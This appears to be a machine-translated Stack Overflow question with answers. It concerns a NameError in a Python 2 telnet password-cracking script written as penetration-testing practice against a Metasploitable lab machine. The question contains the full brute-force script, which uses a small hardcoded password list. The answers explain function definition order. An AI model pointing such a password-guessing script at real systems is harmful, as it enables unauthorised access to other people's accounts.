如何调用稍后在Python脚本中的函数?

时间:2016-08-10 04:10:57

标签: python scripting telnet penetration-testing

我目前正在学习Python进行一些渗透测试,并正在练习制作密码破解脚本。当我为telnet传递破解程序制作脚本时,我遇到了一些问题,其中包含了一些功能。在尝试允许用户输出结果以及一些额外信息时,我发现了我的问题。

我使用getopt来获取脚本的参数,例如ip,username和输出文件(我正在尝试为密码和用户名设置一个单词列表,但我仍在学习使用文件)。因为函数必须写在上面调用的地方,所以我遇到了在两个地方需要函数的问题。

我需要它在getopt for循环之上,但我也需要它在猜测密码的for循环中。我已经看了几个可能的解决方案,但我对它们感到困惑,因为我对Python仍然有些新手。我真的不知道如何解释它,但我需要做的基础是能够在函数写入之前调用函数,如果有人理解的话。感谢您提前获得所有帮助。

另外我知道有很多更有效的方法可以做我正在尝试的事情,但我只是想乱七八糟地看看我是否有能力这样做,无论代码是多么无组织。< / p>

这是我的代码:

import telnetlib
import re
import sys
import time
import getopt
from time import gmtime, strftime

total_time_start = time.clock()

#Get the arguments from the user
try:
    opts, args = getopt.getopt(sys.argv[1:], "i:u:f:")
except getopt.GetoptError as err:
    print str(err)
    sys.exit(2)

passwords = ["hello","test", "msfadmin", "password"]
username = " "
ip = "0.0.0.0"
output_file = " "


for o, a in opts:
    if o == "-i":
        ip = a
    elif o in ("-u"):
        username =a 
    elif o in ("-f"):
        output_file = a
        file_out()
    else:
        assert False, "unhandled option"

#Connect using the password and username from the for loop later in the  script.
def connect(username, password, ip):
    global tn
    tn = telnetlib.Telnet(ip)

    print "[*] Trying " + username + " and " + password 

    tn.read_until("metasploitable login: ")
    tn.write(username + "\n")
    tn.read_until("Password: ")
    tn.write(password + "\n")

#Guess the password
for password in passwords:
    attempt = connect(username, password, ip)
    time_start = time.clock()
    if attempt == tn.read_until("msfadmin@metasploitable", timeout = 1):
        pass
    time_end = time.clock()
    time_finish = time_end - time_start
    #Determine if the password is correct or not
    if time_finish > 0.001000:
        print "\033[1;32;40m [*] Password '" + password + "' found for user '" + username+"'\033[0;37;40m\n"
        total_time_end = time.clock()

        total_time = (total_time_end - total_time_start)

        #Print the findings to a file that is selected from an argument
        def file_out():
            date = strftime("%a, %d %b %Y %H:%M:%S +0000", gmtime())
            fout = open(output_file, 'w')
            fout.write("Server IP: " + ip)
            fout.write("\nUsername is " + username)
            fout.write("Password is " + password)
            fout.write("\nCrack was conducted on " + date)
            fout.write("The crack took a total time of  " + total_time)

        sys.exit(0)

以下是我遇到的错误:

python telnet_cracker.py -i [ipas metpopitable] -u msfadmin -f test.txt

Traceback (most recent call last):
  File "telnet_cracker.py", line 49, in <module>
    file_out()
NameError: name 'file_out' is not defined

2 个答案:

答案 0 :(得分:2)

将该功能移至脚本的顶层。不要将它嵌套在循环内的if语句中。

没有必要在循环中重新定义函数(并且在条件中定义它似乎也不好)

  

必须在函数上面写一个函数

不完全。函数只需要在运行它们的代码之前定义。这些函数不需要明确地在它们被调用的“代码之上”。相同的逻辑适用于变量。

如果需要为函数引用某些变量,请使用参数。

答案 1 :(得分:0)

Python是一种动态语言,但要求顶级函数通过解释时间来解析。

只需将功能移至顶部并稍后调用,或将其嵌套在函数中。

例如,不会工作:

x()

def x():
    pass

然而,这将起作用:

def x():
    pass
x()

这样:

def y():
    x()

def x():
    pass
y()

Python为您提供了所有工具,可以轻松避免前向声明和循环依赖。